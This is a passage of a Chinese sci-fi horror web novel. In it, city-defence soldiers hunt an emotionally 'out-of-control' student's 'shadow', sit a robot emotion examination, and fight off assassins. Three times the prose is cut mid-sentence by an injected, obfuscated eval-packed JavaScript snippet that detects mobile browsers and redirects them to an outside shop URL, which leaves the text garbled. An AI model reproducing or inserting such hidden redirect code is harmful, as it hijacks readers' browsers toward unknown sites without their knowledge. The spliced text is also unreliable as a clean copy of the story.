大楼里面的尸体从各个地方掉出得越来越多,伴随着暗红色的血,在地上堆成了一圈。 几秒之后,陈一伟才从另一个方向跳了出来,他的身上到处都是血迹和灰尘,看起来有些狼狈。 宿九掏出最后一个炸弹,果断地扔向大楼。 连着地基爬起的大楼往前怼了两步,便被炸掉了半截身子,像个瘸了腿的老爷子,一头栽倒在地。 尘土飞扬,铁石块四溅,噼里啪啦掉装备似的。 几人跑到空地停下,周围也暂时地安静了下来。 环顾整个学校,破碎的残肢、腥红的血迹、损毁的大楼,以及游离于混乱之外的其他学生。 安叶再次看了下时间,皱眉道:“这里还藏有核心。” “影子”仍未出现。 宿九凝神,试图去捕捉刚才的声音,但它似乎只是短暂出现了一下,现在又消失了。 “怎么还有啊?”易戈哭丧着脸,“卢愿到底还想让我们干掉谁啊?” 紧跟着他大喊道:“喂!卢愿同学,你听到了吗?听到的话吱一声,给点提示行不行啊?” “要发疯别在这儿发。”陈一伟阴沉着脸调出所记录的画面。 易戈瞪他一眼:“你才是疯子!” 两人一言不合就开吵,宿九都已经习惯了,她默默将目光放在了浮空屏的画面上。 这时,卢愿的头发和刚才教室里她们见过的差不多,短寸。 他眼角破了个口子,嘴角也是肿的。 他站在老师的办公桌前:“楚老师,程远他带着人堵我,他们对我动手了。” “你受伤了?” 卢愿点了点头:“楚老师,医药费很贵,能不能让他赔我一些。” 楚老师看了他一会儿,轻笑出声:“都是同学之间的切磋交流,受伤嘛,在所难免,说什么赔不赔的。” “可是……” “行了,你以后多练练,说不定就能打过人家了,你不知道,程远同学家底丰厚,就你现在上课的那栋楼,都是他家里人捐的,而且程远平时的表现也都十分优秀,哪能做出欺负同学的事儿呢,你说是不是?” 8. 精神失控04 窗外的天气瞬息万变,阴沉昏暗。 卢愿的头发长长了些,少年清瘦的背影不再如最初的笔挺。 “老师,我想问一下,先前说的奖学金,为什么没有我的名字了?” “卢愿同学啊,你是不是搞错了?我们奖学金的评比,现在只看实战课成绩,据我所知,你的实战课成绩实在是、评不上啊。” “老师,这和之前说的不一样啊,文化课成绩也是有资格评选的。” “这是学校的规定。” “为什么?” “哪有为什么,说了这是学校的规定!唉,卢愿同学啊,以后实战课多努力努力吧。” 【不、不!他们天生异能,可我不是啊】 宿九眸光微闪,那个声音出现了。 这居然是……卢愿的声音! 画面还在继续,卢愿站在一间宽敞的独立办公室里,脸色苍白没有血色,垂在身侧的指缝里沾染着血污。 对面的桌子后,坐着一个面相和蔼的中年男人。 “卢愿同学,知道我为什么找你吗?” 卢愿沉默地摇了摇头。 中年男人似是叹了口气:“最近学校正在清算一些以不正当手段入学的人,调查发现,你当时的测试结果,并未达到我们的要求。” 卢愿震惊地抬起头,难以置信道:“不可能,校长,我承认我的实战课成绩不好,但是占比百分之六十的文化课,足以让我入学了。” “百分之六十?”校长神情严肃了下来,“谁告诉你是百分之六十?我们的规定是,文化课百分之四十。” 【骗子……骗子……骗子!你们都是骗子!没有人相信我的话,没有人相信……】 耳边的声音逐渐有了情绪,但宿九心中的疑虑更深了。 “我杀了校长,整栋楼就开始变化了。”陈一伟忽然出声。 易戈摸着下巴说:“所以说,卢愿的同学、老师,以及学校的校长,都是他愤恨的对象?但是我们该杀的都已经杀了,够多了吧。那他还想干嘛?难不成要我们毁了整个学校?” 宿九倏地看向易戈:“你说的,很有可能。” 听说,当学生怨气大的时候,总是会有炸掉学校的想法。 卢愿的遭遇看起来有些复杂,但不管怎样,这个学校对他来说应该并不是什么拥有好回忆的地方。 几人齐齐看向宿九,眼神透露着‘你在说什么’的意思。 安叶:“我们的武器还毁不了这里。” 然而话音刚落,宿九便敏锐地听到了一个细小的声音。 她第一时间转头朝先前倒塌的办公楼看去…… “什么情况?还来?”易戈瞬间警戒,双腿已经做好了跑的准备。 宿九看见那栋楼抖了抖身子,以一个诡异的姿势重新站了起来。 正对着他们的这一面,出现了一张眼熟的大嘴,和她之前在楼里看到的那个,如出一辙。 大嘴飞速扩张,嘴里的黑暗如同深渊,所及之处都被吞噬殆尽。 大楼拖着笨重的身子朝他们所在的方向行进,可就几秒的时间,整栋大楼居然消失不见了,取而代之的是装着深渊的大嘴。 大家来不及震惊,转身就往反方向跑。 宿九余光瞥见那张大嘴变得更大了,向他们追来的速度也越来越快,就连身后的地面都被大嘴连带着朝天上卷起,如钢铁般的海浪疯狂席卷而来。 易戈边跑边骂:“啊啊啊什么傻X玩意儿,老子不干了!放我出去啊啊啊——” 宿九几人没易戈跑得快,看到他撒丫子飞奔的背影,原本紧张的心情都变得无语了。 接下来的画面就是,四个人在前面跑,后面的大嘴惊天动地地追,原本好好的学校也被毁了大半。 宿九突然就乐了,她大声说道:“组长!我们的武器毁不了这儿,可是咱后面那东西能啊!” 安叶也勾了勾唇:“正有此意。” 她朝前方喊道:“易戈!别瞎跑了,给我们带路,把这学校都糟蹋一遍!” “嗷嗷嗷!好嘞!” 【呜呜呜……没有人听我说话,没有人相信我的话】 跑着跑着,宿九又听到了声音,这一次,卢愿的声音像是在哭泣。 奈何她没办法和对方对话,不然她高低得和卢愿谈谈心,小伙子有啥委屈能不能和她直接说说啊? 没一会儿,整座学校被几人跑了个遍,最后大家来到校门口,才停住了脚步。 除了易戈之外,其他人都有些喘。隔着学校大门,宿九望着不远处正在漫延过来的巨大黑嘴,握紧了手中的电磁枪。 宛如天空裂缝下的黑色幕布,侵袭而来的大嘴将学校铁门吞噬后,最终停止了移动,此时距离几人不过一米。 大家屏息凝神,盯着前方的黑暗,不由自主地冒出一身冷汗。 “别害怕,它出不来的。”安叶突然出声,安慰几人。 在能量空间里,同一时空,通常只会出现一个主场景,里面藏着他们所要寻找的核心和‘影子’,正如这所学校。而主场景外,是会让人迷失之地。 他们现在所站的位置,是最开始到达的地方,只能说他们很幸运,这里算不上迷失之地,而学校里面的东西也出不来。 不过他们也不能再往后退了。 陈一伟紧紧皱着眉头,似乎是在压抑着什么:“为什么‘影子’还没有出现?” 易戈明显紧张了起来:“组长,怎么办?我们的时间不多了!” 不像其他人的反应那么大,宿九倒显得十分平静,只是她总感觉有什么东西在盯着自己。 凭借着直觉,她将注意力再次放在了面前的黑暗里。 B级五感,在此刻发挥出了惊人的效果。 宿九惊奇地发现,黑暗里好像有什么东西!但是她看不太清,只能隐隐约约看到某种轮廓,不知何物。 “组长,这里面好像有东西。”宿九打破了沉默。 安叶诧异地看向她,语气略显急切:“你看到什么了?” 宿九摇头道:“看不清。” “看不清你说什么?!”陈一伟的情绪不太对劲,“不然你进去看看。” 易戈瞪大眼睛:“你瞎说什么呢?” 几人都知道,这张大嘴里的黑暗有多危险,它会吃人的! 宿九淡淡地瞥了他一眼,情绪不对的疯子,她是不会计较的。 只不过时间不会等人,他们前方无路,身后亦无路可走,再僵持在这里,无外乎是浪费时间。 而且她有一种强烈的感觉,他们所要寻找的“影子”,或许就在黑暗里。 她是从什么时候开始,逐渐听清了那道属于卢愿的声音呢?宿九想,是在她见到装着黑暗的大嘴后。 “我进去看看。”宿九说。 安叶没有第一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141307|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间拒绝,而是严肃地说:“太危险了。” “没关系,大不了就是一死嘛。”宿九笑了笑,“不然你们谁去?” “……” “开玩笑的,我有种直觉,这里面没有我们想象的那么吓人。” 说完,宿九没有犹豫,直接走进了黑暗。 组员的惊呼声瞬间消失,宿九看着完好如初的自己,勾唇一笑,果然如此。 这里看起来像是一个小仓库,铁门可能是使用太久了,很多地方掉了漆,到处都是划痕,显得破破烂烂的。 一盏雾蒙蒙的电灯泡吊在中间的顶上,像是在散发即将报废的余热。 宿九四处看了看,见仓库的角落里堆着一大山废铁,她的脑子里突然响起了几个字:卖废铁的。 从堆铁的地方往后绕过去,能看到一道小门。 宿九特意放轻了动作,但“吱吖”的推门声不仅响,还让人牙酸。 “卢愿?”宿九一眼就看到了抱着膝盖缩在角落的人,她试探地唤道。 但对方应该是听不见她的声音的。 “小愿,小愿,小愿!” 这时,宿九听见了一个女人的声音。 “砰”的一声,房间另一边的门,被重重地推开了。 “我叫你怎么不吭声呢?”女人径直走到卢愿身边,一把将他的手扯下,强迫他露出了埋在腿间的脸。 宿九像是天外来客,无人觉察地注视着两人。 卢愿的脸上又带着伤口。 而这个女人宿九见过,是他的母亲,万春兰。 “你脸又被谁打了?”万春兰紧锁着眉头,“我跟你说了多少遍了,有人打你你就打回去啊,怎么每次受伤的都是你呢?” 卢愿神色复杂地看了万春兰一眼,随后又低下了头。 【我打不过。】 卢愿的嘴唇没有动,但宿九却听见了他的声音。 万春兰像是看不过卢愿这幅丧气的样子,她一把将其薅起,让他坐在了椅子上。 “最近在学校怎么样?成绩没有下滑吧?” 卢愿紧抿着唇:“没有。” “没有就好,反正我给你说无数遍了,你只有变得更优秀,才会被人看见,到时候别人就不敢看轻你了。第一中学是唯一一个不看出身只看成绩的中学,当初好不容易才把你送进去,你可要给我争气点,成天别多想了,好好学习,听到了吗?” 卢愿机械般点头,仿佛一只被操纵的木偶。 紧接着万春兰叹了口气:“唉,你这性子也是,这么内向可怎么办啊!让你多跟别人交流,你倒好,见人了半个字都憋不出一个,我就搞不懂了,说几句话有这么难吗?你在学校跟同学也是这样吗?真是愁死我了,你这个样子怎么和同学搞好关系嘛,你说人家不欺负你欺负谁呢?这做人呐,就是得外向点,能说会道才是优势……” 宿九掏了掏耳朵,万春兰这叨叨个不停的架势,她听了都大喊离谱。 真是难为卢愿了,内向怎么了,内向的人是不能活了还是咋地? 【说话……说话……】 低语声传来,宿九再一看,发现卢愿的表情苍白得吓人,而万春兰还在一旁絮絮叨叨。 大姐,别说了,孩子要疯了。 宿九沉思了一下,随即掏出枪,电磁激光穿过万春兰的胸口,留下了一个空空的洞。 整个房间立马安静了下来。 9. 精神失控05 万春兰的身体重重地倒在了地上,卢愿仿佛没有察觉一般,低着头一动不动。 嗞、嗞、嗞…… 突然,像是虫子啃噬的声音从卢愿的身上幽幽传来,若不是宿九有五感异能,她也是听不见的。 宿九警惕地往后退了一步。 咔嚓。 宿九好像听到了骨头裂开的声音。 只见原本低着头的卢愿,猛地抬起头,直勾勾地盯着宿九,眼白中绽开了纵横交错的血丝。 他的嘴角先是朝两边弯出了一个不可思议的弧度,然后缓缓裂开,鲜红的血液从里面淌了出来,将他惨白的脸色衬得像是从地里爬出来的鬼怪。 宿九眨了下眼,他的脸也开始朝着诡异的方向变化了起来。 额头、眼睛、鼻孔、脸颊……都裂开成了嘴的形状,像是复制再生一般,卢愿的整张脸很快就被密密麻麻的嘴给占满了! 宿九不由感到一阵恶寒。 卢愿从椅子上滑了下来,朝宿九伸出一只手。 然而这只手,从手心手背到手臂肩膀,迅速长满了一模一样的嘴。 宿九还能看见嘴里伸出来的血淋淋的舌头! 这简直是密恐患者的噩梦。 从来到这里开始,宿九就联系不到组长他们了。 她看着卢愿的整个身体,很快就长满了嘴,从头到尾,密密麻麻地覆盖了全身,每张嘴里的舌头还动来动去,像是扭动的蛆虫。 这就是卢愿的“影子”吗? 宿九恶心完后,立马就开始琢磨起来。 那她要怎样解决掉这个“影子”呢? 现在的卢愿虽然看起来有些吓人,但他好像并没有攻击自己的意图。 可是离一个小时只剩五分钟了,没有时间给她思考更多。 算了,死马当作活马医吧。 宿九举起枪,先是朝卢愿的心脏射了过去。 电磁枪比普通的子弹枪要厉害很多,可她打中了,卢愿却毫发无伤,电磁能量束就好像被他心脏处的那张嘴给吞了。 宿九又朝致命的地方连续开了好几枪,但结果依旧是未能伤到他分毫,他身上的那些嘴就像长了眼睛,准确地吞掉了她的攻击。 不过,嘴里的舌头倒是被打成了烂泥。 “……” 完犊子,这要怎么搞啊? 宿九关上门,物理屏蔽这全身长满嘴的玩意儿。 她站在仓库里,冷静了下来,开始迅速分析脑子里的各种信息。 为什么卢愿的“影子”会长那么多的嘴呢? 万春兰说他内向不说话,希望他能说会道,但宿九看到,在课堂上以及面对同学和老师时,卢愿是会表达自己的想法,只是得到的反馈并不好。 他还说过,没有人相信他的话。 所以,在卢愿看来,不说话是对自己的一种保护吗? 那反过来,他的“影子”长了这么多的嘴,是不是也是对自己的保护呢? “!” 宿九想到了。 房间门再次被推开,宿九毫不犹豫,对准卢愿正常人体形态的嘴部位置,保险起见,她连续开了几枪。 她猜对了,这里才是“影子”的致命之处。 卢愿倒在地上,全身的嘴急速消失,整个人瞬间恢复成了最初的模样。 而他脑袋周围,凝聚出了一团红色。 【警告!请立即收集生态能量!】 宿九感觉到了手环的震动,或许是类似骨传导的技术,她听见了手环所传达的信息。 根据指示,她将手环对准了那团红色,神奇的事情发生了,那团红色居然变淡了。 整个过程,不到一秒。 宿九还未来得及表示自己的惊讶,她周围的环境转瞬即逝,与此同时,一声惊呼差点捅破她的耳膜。 “啊!宿九!” 是易戈的声音,她们回到了现实。 几人站在隔离区的能量罩里,卢愿依旧是一动不动的姿势,看起来好像晕倒了,而在他的脑袋周围,能看到一团淡红色。 安叶一言不发,小心翼翼地靠近那团淡红色,她的手里握着一个黑色的小球,在即将触碰到那团淡红色时,小球一下子将它全部吸了进去。 宿九看到安叶明显松了口气。 站起身后,安叶朝众人露出了一个笑容:“‘影子’回收完毕。” “宿九,这次你是最大的功臣。”她说。 原来这就是回收“影子”,那她刚才用手环收集的生态能量…… 宿九陷在自己的思绪中,对安叶的话没有什么反应。 直到一声枪响,她才回过神来。 宿九猛地看向陈一伟,震惊地出声:“你?!” 他开枪杀了卢愿。 安叶目光平静:“精神失控者是活不成的。” “对呀,精神失控者的情感能量已经炸了,就算我们回收了‘影子’,他们的情感能量也回不去正常范围的,要是不杀了他们的本体,他们会再次失控的。”易戈对她解释道,“回收‘影子’和处理本体,都是我们的工作啦。” 看着卢愿额间的血洞,宿九突然有种难以辨别现实与虚幻的感觉。 完成任务后,大家肉眼可见地轻松了起来,易戈将隔离器收进了小胖的肚子里,然后又将小胖放进了自己的背包里。 “易戈,你赶紧叫逝收所的人过来收拾下。”安叶吩咐道,“卢愿母亲那边,我跟宿九过去处理一下,陈一伟,你先在这边看着,别让无关的人靠近。” 易戈:“放心吧组长,他们马上过来。” 陈一伟:“嗯。” 万春兰已经被带回了城防军办事处,隔着单向玻璃,宿九看到她佝偻着脊背,沉默地坐在椅子上。 宿九忽然问道:“组长,我们在卢愿能量空间里所见到的情景画面,是真实发生过的吗?” “怎么这么问?”安叶看了她一眼。 “有点好奇。” “真真假假,谁知道呢?我们只需要知道,死了的人已经死了,但活着的人还要活着。” 宿九沉默了,原来这个世界的规则是这样的。 两人先后走进房间,万春兰听到动静朝她们看了过来。 “万女士,我们过来是告诉你,你的儿子卢愿因精神失控已经被我们处理了,你可以在今天之内去逝收所见他。” 宿九听到安叶公事公办冷漠的语气,下意识看向万春兰。 “为什么?”万春兰的嘴角抽搐了下。 安叶站得笔直:“抱歉,这不在我们解答的范围。” 万春兰揪着衣角,自顾自地说道:“为什么?为什么呢?小愿,是我对你还不够好吗?” 安叶观察着万春兰,提醒道:“请注意情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141308|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 进来之间,宿九看到这间房间外,站着两个身穿白大褂的医生,他们此时应该也在看着万春兰。 一旦万春兰的情感能量过高,他们会立即进来给她注射情感抑制剂。 “我知道,我儿子死了。”万春兰闭了闭眼,“可我还要活着。” 宿九听见这话,总觉得有哪儿不太对劲,但一时也说不上具体哪儿不对。 万春兰缓缓站起身来,将双手藏进衣兜里,语气平静:“请问我现在能回家了吗?” 就在宿九以为安叶不会回答了,她从沉默中开口道:“可以,需要我们的人送你回家吗万女士?” 万春兰从她们身前经过,摇了摇头:“不用了,谢谢。” 宿九能感觉到有好多股视线都在观察着房间里的她们,不,准确的说,都在观察着万春兰,她和安叶也是。 直到万春兰出门后,她才收回视线,状似无意地瞥了眼房间里隐秘的监控器。 她刚看到了万春兰藏在衣兜里,微微颤抖的手。 万春兰并没有表现出来的那样平静。 宿九有一种不好的预感…… 万春兰离开不久后,易戈和陈一伟一起回到了办事处。 据说是常规流程,宿九和其他三人被一个穿着白大褂的男人带往了另一处。 白色走廊里,灯光被调试到了一个不明不暗的程度,脚下的地板似乎是由特殊材质制作而成,几人走在上面,没有发出丝毫声音,就连空气中都弥漫着一股特别的味道。 宿九默默地观察着其他人,安叶的表情并没有发生什么变化,依然平静而冷漠,但她的呼吸却比进来之前沉重了几分。陈一伟皱着的眉头一直没有舒展下来,神情不悦,而易戈看起来是最轻松的,还时不时以好奇的目光打量着周围,虽然这里白得一眼就看全了。 “几位,请进。”白大褂的男人打开走廊里写着“三号室”的门,声音温润。 一进门,是四个隔间,整个房间也都是白色的,不带任何颜色。 宿九进入的是四号隔间,里面有一套桌椅,椅子上方悬着一个不明仪器,仪器连着显示屏,朝向桌子后面的机器人。 机器人同样穿着白大褂,胸前的铭牌上写着“情感检测员04”。 “城防军六组,宿九。”机器人没有表情,但声音称得上是温柔,“请坐。” 宿九按照指示坐在了椅子上,然后她就看见机器人眼睛里的光圈动了起来。 她耳朵一动,听见正上方的仪器发出了极小的运作的声音。 三十秒之后,仪器停止了运转,机器人眼睛里的光圈也不再旋转。 检测员04:“经检测,您的情感能量数值为1.23Hz/s,小于百分之二十,评估等级为优,根据过去三个月的数据,您的波动均值上升了0.08个单位,合格。” 宿九听得莫名,满腹疑惑,人类情感这么复杂的一个东西居然真的能够测出来?就用如此简简单单的数据来衡量?以至于给人“定罪”? 好吧,就算她接受了这个世界的设定,但她自己表示不信,至少她不相信“情感即罪”的法则。 情感怎么会是罪呢?这难道不是人之所以为人的独特之处吗? 宿九面无表情地看着眼前的机器人,默默吐槽。 而接下来,检测员04的行为才让宿九感到了真正的不适。 10. 精神失控06 纯白色的天花板、墙壁、地板,置身其中,给人一种安心而诡异的感觉。 检测员04:“鉴于您刚加入城防军,我将就您刚完成的任务进行额外提问,请您如实回答。请问您是第一次接触精神失控者吗?” 宿九斟酌着开口:“是。” “请问您害怕精神失控者吗?” “不。” “请问精神失控者对您的影响大吗?” “没有什么影响。” “在进入精神失控者的能量空间后,您是第一个出手攻击的吗?” “不是。” “在精神失控者的能量空间里,您有杀人吗?” 宿九微微蹙眉:“有。” “请问您杀了多少人?” “记不清了。” “杀的人多吗?” 宿九的眼神冷了下来:“记不清了。” 检测员04停顿了一下,声音如先前一样温柔:“请问您杀人的目的是什么呢?” “寻找‘影子’。” “在处理精神失控者的本体时,请问是您动手的吗?” “不是。” “在看到精神失控者本体死亡时,请问您的心情如何呢?” 要不是感觉到了隔间里的监视器后正有人密切地观察她,宿九指定得开骂。 都什么sb玩意儿,sb问题啊? 她默默往后一靠,翘起了二郎腿,冷声道:“没有心情,面对死人能有什么心情?” 检测员04:“好的,最后一个问题,请问您觉得我们对精神失控者的处理方式是否合理呢?” 宿九抬眼看向他,不含任何情绪地说:“我的意见重要吗?” “当然,我们热衷于倾听每一个人的声音。” 宿九倏地一笑,不甚明显地嘲讽道:“我觉得,与其等着人精神失控后才处理,还不如提前预防,比如对那些情感能量大于百分之二十、四十、五十之类的人,采取某种处理措施。” 检测员04:“好的,您的意见已收到,我们会仔细考虑的,此次检测评估已结束。严控情感之罪恶,方得安宁之生活,祝您生活愉快!” 监控室里,一个国字脸的中年男人“唰”地摘下耳机,重摔在桌上。 “简直乱来!这新人什么毛病,话是能这么说的吗?是谁把她招进来的?我看她是一身反骨!” 旁边的年轻人偷偷看了眼后方站着的高大男人,尴尬地碰了碰自己的上司,解释说:“赵主任,她是第一军事学院的优秀毕业生,情感能量数值很优秀。” 赵寒山“哼”了一声,正想继续说说,但转头看到自己身后站着的人,顿时神色大惊。 他匆忙起身,微微弯腰,挂上一副谦卑的笑脸,试探道:“秦监察,您来是有什么要事吗?” 赵寒山心里打鼓,监察者怎么突然来了他们城防军的情感监测中心。 他暗暗瞪了眼自己的手下,没眼力见的小年轻!监察者来了都不提醒他一下。 秦尤身着深蓝色衬衫,黑色领带没入系扣的制式大衣中,规整挺拔。监察者的制服将他一米九的身形衬得压迫感十足。 他的目光从监视器的显示屏上移开,落到赵寒山身上,冷峻的脸上露出了一个疏离的微笑:“赵主任请放心,我来并不是因为什么要事,只是听说今日出现了精神失控者,你们城防军人才济济,一个刚入职首次出任务的新人,就凭一己之力成功解决掉了‘影子’,表现着实优秀。” 赵寒山心头又惊了下,监察者的消息果真是灵通得要命啊,但他不清楚秦监察此行的真正目的,只好装作不解:“您是想?” “我需要看看她的全部资料。”秦尤微笑道。 在静默城中,每个人都必须接受由城防军情感监测中心执行的情感检测,频率为一个月一次。 但对于处理了精神失控者的城防军,以及暴露在生态干扰能量中的潜行者,他们在每次任务后都要接受额外的情感检测。 而监察者有权查看每个人的数据资料。 赵寒山老老实实调出了宿九的所有资料,包括她的基本信息和详细的情感检测记录。 秦尤拿到资料后便离开了情感监测中心。 他看到上面写着的“B级五感”,浓密的睫毛快速眨了两下。 往后翻,只见宿九的情感能量数值在半年前到上个月期间,量值极低,且非常稳定,波动点均值无变化。 但在最近的一次检测中,也就是今天,她的情感量值和波动点均值都上升了。 秦尤看到了自己想要知道的东西,嘴角微微上扬。 一场大雨连续下了几个小时,直到宿九下班的时候,充斥着化学药剂气味的雨水,才缓缓停下。 城市亮起了晚灯,宿九站在城主府路段的列车停靠点,抬头向天上望去,空气里还弥漫着肉眼可见的水雾。 宿九使用异能,才不算太费劲儿,看到了更遥远的天空中,覆盖着一层普通人难以觉察的透明薄膜。 这层薄膜宛如一个安全罩,将静默城包裹其中。 生态的雨水并不健康,里面具有危险的污染物质,薄膜相当于过滤器,通过释放特殊药剂,将污染稀释到了一个安全水平。 这是宿九今天下午才知道的信息。 这个世界,比她想象得要更加危险。 下城区的肮脏并未被雨水彻底冲刷干净,尽管有清洁机器人孜孜不倦地工作,但空气中的劣质尼古丁味、地上的不明污渍依旧顽固地存在。 拐弯进入另一条小巷,宿九眼前突然一暗。 她此时的心情算不上太好,手下的动作便狠了些。 来人被她抵在墙上,随身携带的匕首再次发挥了它该有的作用,毫不犹豫地刺进了对方的胸膛。 “哈,嘶——” 面具下发出了一声痛苦而舒爽的声音。 宿九脸色一黑,嫌弃地抽出匕首,顺手在他衣服上擦了擦并未沾染上血迹的刀刃。 “下次再这样神出鬼没,小心我削了你的脑袋。”宿九退后,无情地说道。 “哎呀,我这不是想给你一个惊喜嘛。”阿蒙揉了揉自己的伤口,笑嘻嘻地说。 宿九在心里给了自己一枪,靠!下次再让他爽到她就是狗! 这年头,机器人都有神经病。 宿九不耐烦地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141309|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “少废话,让你查的东西,有结果了吗?” 阿蒙看了看周围,才从兜里掏出一个小方块,在宿九的注视下,他的手指简单动了两下,小方块便被展开成了一张纸。 纸的正反面,都是密密麻麻的蚊子大小的字。 宿九站在原地,借着昏暗的灯光,仔细地查看了起来。 之前在卢愿的能量空间里,她听到了一句话,让她有些在意,以及万春兰,也给她一种奇怪的感觉。 所以她偷偷给阿蒙发了消息,让他查查有关卢愿一家的所有信息,没想到阿蒙的效率还挺高。 资料上有一处奇怪的地方,卢愿十岁前的异能检测数据居然遗失了,只有十岁后的数据,检测结果为D级五感,而后一直保持不变。 难道……卢愿的异能真的如他所说,不是天生的,而是后天觉醒的吗?但这种情况显然非常特殊啊。 因为自从三十年前开始,便不再出现后天觉醒异能的人了,异能具有了特殊的遗传性质,只不过变异率较高。 正常情况是,异能是天生的,会在三岁之前显现,之后异能类型便不再变化,但等级会随着成长或训练发生改变。 更奇怪的是,这样的特殊情况居然没有引起任何人的注意。 卢愿的父亲……是一个叫卢呈的第二代潜行者,十五年前由于任务时被怪物重伤而当场死亡。 按照规定,城主府给他的亲属下发了一笔大额补偿金,足以让卢愿在十八岁成年前,享有一个相当不错的生活水平。 可是,在卢愿进入第一中学前,他都跟着万春兰住在卖废铁的小仓库里。 他们的生活完全不像收到过一笔高额补偿金的样子。 “你查这些干什么?”阿蒙突然出声,打断了她的思绪。 宿九收好纸张,抬眼道:“要你管。” 看来她得悄悄找万春兰一趟了。 她也不知道自己为什么会如此在意这件事情,或许是好奇心作祟? 宿九朝回家的方向走去,而阿蒙就默默地跟着她。 几分钟之后,宿九有些恼火地停了下来。 真是烦人! 她的视线扫过周围的暗处,声音在黑夜中显得异常清晰:“跟一路了,要不都出来露露脸吧。” 微弱的脚步声暂停了几秒,随即猛地加快,大概十几个人,正朝宿九和阿蒙涌来。 突然,宿九听见一声子弹出膛的闷声,她第一时间锁定方向,迅速移动了位置。 只见刚才她所站的地方,穿过一颗子弹,径直打在了对面的墙上,在上面留下一个凹陷的浅坑。 若不是她动作快,估计打中的就是她的脑袋了。 对方有枪。 此刻,宿九除了憋屈还是憋屈,她到底招谁惹谁了啊。 这下好了,她得拿匕首挡子弹了呗。 没给她思考人生时间,十几个黑衣人幽灵似的冒了出来,一声不吭直接奔着她的命来,还有两三个人在暗中不断放枪。 宿九躲过上一颗子弹,下一秒就割了一个黑衣人的喉咙。 鲜血溅在她的脸上,并未令她生出一丝胆怯,反而让她热血沸腾了起来。 11. 精神失控07 真服了!子弹居然还会拐弯? “噗嗤——”血肉绽开。 宿九顺手扯过一个黑衣人,帮她挡了一枪,是异能为控制力强化的人。 她的心稍沉了几分,然而余光瞥到阿蒙时,脑子瞬间就炸了。 “你在干嘛?!”她咬牙切齿地喊道。 怪不得她觉得十几个人怎么如同几十个人源源不断呢,敢情就她一个人下死手啊。 阿蒙顶着个嚣张的面具,居然在抱头鼠窜,这死家伙只顾着躲来躲去,根本没出手! “哎呀哎呀,我想看你表演嘛!”阿蒙灵活一闪,姿势略显妖娆。 行!看我表演是吧? 宿九躲闪过后径直往阿蒙的方向奔去,随即一把掐住他的后脖颈,气呼呼地把他挡在自己身前,当作肉盾:“那你就负责给我挡子弹吧。” 这下好了,她根本不用躲,直接薅着阿蒙往前推进。 阿蒙斯哈斯哈地扭断一个黑衣人的脖子,宿九杀了一个开枪的,然后夺过他的枪,反客为主,没几下子就干掉了剩余的人。 最后一个她给人留了个口气,宿九踩着他的胸口,用枪抵着他的额头,问道:“谁让你们来的?” 黑衣人满身伤口,血淋淋地喘着粗气。 见他不开口,阿蒙的手指化作一截刀刃,乐呵呵地在他的腿上划了一刀。 “啊!” 黑衣人冷汗直冒,妈的,没人说这俩人这么难搞啊! “不说?”宿九没什么耐心,直接对着他的手臂开了一枪,“说了你还能活命。” “我——” 然而就在他即将开口的瞬间,一枚子弹射入他的眉心,彻底断了气。 “谁?”宿九举起枪,警惕道。 她竟然没有察觉到还有人! 空气安静了几秒,随即响起了一个男人的轻笑声。 “他们都是我父亲派来的。”身着西装的年轻男人瞬移到了他们对面的不远处,微笑着说,“但是我对你们没有任何敌意。” 宿九拦住了想要出手的阿蒙,迅速打量过对方,这人的长相好像有点眼熟啊。 “你是谁?”她问道。 “不好意思,忘记自我介绍了。”男人狭长了眼睛弯了弯,“我叫程墨。” 宿九脑子里闪过一张脸,微微蹙眉:“程远是你什么人?” 程墨的眼神多了几分兴趣,温声道:“他是我弟弟。” 怪不得她觉得这人长得有些眼熟,原来是那个紫毛的哥哥。 但她依然不明白,为何会发生今晚这一出。 “不要误会哦,我们同父异母,我跟他不熟。”程墨主动补充道,“而且程远被父亲惯坏了,早晚都会惹出大祸的,你们杀了他,我很庆幸你们将罪恶扼杀在了摇篮里。” 宿九并不在意这个,只是眼神示意他瞧瞧地上躺着的这些人:“那请问,能否解释解释这个呢?” 程墨的视线在阿蒙身上停留了一会儿,然后看向宿九,言简意赅:“你们杀了我弟弟,我的父亲自然是要为他报仇的。” ?? 宿九头顶冒出两个问号,她什么时候杀了那个紫毛了?总不会是在卢愿的能量空间里吧。 “你们是不是搞错了。”宿九觉得自己很冤啊,她不是背锅侠! 程墨笑着摇头:“这不重要,我的父亲想让我带人杀了你们,但这并不符合我的意愿,你们杀了程远,按理来说,我应当是要感激你们的。” 宿九在心里“嘶”了一声,这不就是那啥手足相残嘛,难不成是什么豪门争家产的戏码。 